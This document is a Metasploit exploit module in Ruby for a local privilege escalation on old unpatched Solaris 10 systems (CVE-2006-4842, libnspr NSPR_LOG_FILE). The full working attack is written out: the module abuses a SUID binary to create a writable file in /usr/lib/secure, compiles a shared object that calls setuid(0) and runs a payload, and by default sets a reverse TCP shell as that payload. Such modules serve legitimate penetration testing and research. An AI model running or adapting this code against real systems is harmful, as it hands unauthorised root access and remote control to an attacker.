Solaris libnspr NSPR_LOG_FILE Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Solaris::Priv  
include Msf::Post::Solaris::System  
include Msf::Post::Solaris::Kernel  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Solaris libnspr NSPR_LOG_FILE Privilege Escalation',  
'Description' => %q{  
This module exploits an arbitrary file write vulnerability in the  
Netscape Portable Runtime library (libnspr) on unpatched Solaris systems  
prior to Solaris 10u3 which allows users to gain root privileges.  
  
libnspr versions prior to 4.6.3 allow users to specify a log file with  
the `NSPR_LOG_FILE` environment variable. The log file is created with  
the privileges of the running process, resulting in privilege escalation  
when used in combination with a SUID executable.  
  
This module writes a shared object to the trusted library directory  
`/usr/lib/secure` and runs the specified SUID binary with the shared  
object loaded using the `LD_LIBRARY_PATH` environment variable.  
  
This module has been tested successfully with libnspr version 4.5.1  
on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06) (x86).  
},  
'References' =>  
[  
['BID', '20471'],  
['CVE', '2006-4842'],  
['EDB', '2543'],  
['EDB', '2569'],  
['EDB', '2641'],  
['URL', 'https://securitytracker.com/id/1017050'],  
['URL', 'https://securitytracker.com/id/1017051'],  
['URL', 'https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR'],  
['URL', 'http://web.archive.org/web/20061118024339/http://labs.idefense.com:80/intelligence/vulnerabilities/display.php?id=418'],  
['URL', 'http://web.archive.org/web/20061110164829/http://sunsolve.sun.com/search/document.do?assetkey=1-26-102658-1']  
],  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'iDefense', # Discovery  
'Marco Ivaldi', # Exploit  
'Brendan Coles' # Metasploit  
],  
'DisclosureDate' => 'Oct 11 2006',  
'Privileged' => true,  
'Platform' => ['solaris'],  
'Arch' => [ARCH_X86, ARCH_X64, ARCH_SPARC],  
'Targets' => [['Auto', {}]],  
'SessionTypes' => ['shell', 'meterpreter'],  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'solaris/x86/shell_reverse_tcp',  
'WfsDelay' => 10,  
'PrependFork' => true  
},  
'DefaultTarget' => 0))  
register_options [  
# Some useful example SUID executables:  
# * /usr/bin/cancel  
# * /usr/bin/chkey  
# * /usr/bin/lp  
# * /usr/bin/lpset  
# * /usr/bin/lpstat  
# * /usr/lib/lp/bin/netpr  
# * /usr/sbin/lpmove  
OptString.new('SUID_PATH', [true, 'Path to suid executable (must be linked to a vulnerable version of libnspr4.so)', '/usr/bin/cancel'])  
]  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def suid_bin_path  
datastore['SUID_PATH']  
end  
  
def is_writable?(path)  
cmd_exec("[ -w #{path} ] && echo true").include? 'true'  
end  
  
def mkdir(path)  
vprint_status "Creating directory '#{path}'"  
cmd_exec "mkdir -p '#{path}'"  
register_dir_for_cleanup path  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_compile(path, data)  
upload "#{path}.c", data  
  
output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/ gcc -fPIC -shared -g -lc -o #{path} #{path}.c"  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{path}.c failed to compile"  
end  
  
register_file_for_cleanup path  
end  
  
def check  
unless setuid? suid_bin_path  
vprint_error "#{suid_bin_path} is not setuid"  
return CheckCode::Safe  
end  
vprint_good "#{suid_bin_path} is setuid"  
  
unless has_gcc?  
vprint_error 'gcc is not installed'  
return CheckCode::Safe  
end  
vprint_good 'gcc is installed'  
  
# libnspr versions 4.5.1, 4.6.1 and 4.6.2 are known to be vulnerable  
# Earlier versions may also be vulnerable  
libnspr_pkg_info = cmd_exec 'pkginfo -l SUNWpr'  
libnspr_pkg_version = libnspr_pkg_info.scan(/VERSION:\s+([\d\.]+),/).flatten.first  
if libnspr_pkg_version.to_s.eql? ''  
vprint_error 'Could not determine libnspr version'  
return CheckCode::Unknown  
end  
  
if Gem::Version.new(libnspr_pkg_version) >= Gem::Version.new('4.6.3')  
vprint_error "libnspr version #{libnspr_pkg_version} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "libnspr version #{libnspr_pkg_version} appears to be vulnerable"  
  
# Solaris 10 versions prior to the 2006 patches are known to be vulnerable.  
# Solaris 8 and 9 (SunOS 5.8 and 5.9) are not affected by default,  
# however third-party software may also introduce a vulnerable version of the library.  
version = kernel_release  
if version.to_s.eql? ''  
vprint_error 'Could not determine Solaris version'  
return CheckCode::Detected  
end  
  
unless Gem::Version.new(version) <= Gem::Version.new('5.10')  
vprint_error "Solaris version #{version} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "Solaris version #{version} appears to be vulnerable"  
  
# The vulnerability was patched in various Solaris patches for different platforms.  
# For more information, see:  
# - http://web.archive.org/web/20061110164829/http://sunsolve.sun.com/search/document.do?assetkey=1-26-102658-1  
installed_patches = cmd_exec 'showrev -p'  
[  
119214, # Solaris 10 (x86) patch 119214-10  
119213, # Solaris 10 (SPARC) patch 119213-10  
119212, # Solaris 9 (x86) patch 119212-10  
119211, # Solaris 9 (SPARC) patch 119211-10  
119209 # Solaris 8 (SPARC) patch 119209-10  
].each do |patch|  
if installed_patches =~ / #{patch}-(\d+)/  
revision = $1.to_i  
if revision >= 10  
vprint_error "Solaris patch #{patch}-#{revision} has been applied"  
return CheckCode::Safe  
end  
end  
end  
vprint_good 'Solaris patches are not installed'  
  
CheckCode::Appears  
end  
  
def exploit  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
unless [CheckCode::Detected, CheckCode::Appears].include? check  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
unless is_writable? datastore['WritableDir']  
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"  
end  
  
# Create writable file in /usr/lib/secure  
lib_path = '/usr/lib/secure'  
lib_name = 'libldap.so.5'  
  
vprint_status "Creating file #{lib_path}/#{lib_name}"  
cmd_exec 'umask 0'  
cmd_exec "NSPR_LOG_MODULES=all:5 NSPR_LOG_FILE=\"#{lib_path}/#{lib_name}\" #{suid_bin_path}"  
cmd_exec "NSPR_LOG_FILE=#{lib_path}/#{lib_name} #{suid_bin_path}"  
cmd_exec 'umask 022'  
  
unless is_writable? "#{lib_path}/#{lib_name}"  
fail_with Failure::Unknown, "Could not create file '#{lib_path}/#{lib_name}'"  
end  
  
print_good "Created file #{lib_path}/#{lib_name}"  
register_file_for_cleanup "#{lib_path}/#{lib_name}"  
  
# Upload and compile shared object  
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"  
mkdir base_path  
  
payload_name = ".#{rand_text_alphanumeric 5..10}"  
payload_path = "#{base_path}/#{payload_name}"  
  
so = <<-EOF  
void __attribute__((constructor)) cons() {  
setuid(0);  
setgid(0);  
execle("#{payload_path}", "", 0, 0);  
_exit(0);  
}  
EOF  
  
so_name = ".#{rand_text_alphanumeric 5..10}"  
so_path = "#{base_path}/#{so_name}"  
upload_and_compile so_path, so  
  
vprint_status "Writing shared object #{lib_path}/#{lib_name}"  
cmd_exec "cp '#{so_path}' '#{lib_path}/#{lib_name}'"  
register_file_for_cleanup "#{lib_path}/#{lib_name}"  
  
# Upload and execute payload  
upload payload_path, generate_payload_exe  
cmd_exec "chmod +x #{payload_path}"  
  
print_status 'Executing payload...'  
cmd_exec "LD_LIBRARY_PATH=\"#{lib_path}\" #{suid_bin_path} & echo "  
end  
end  
`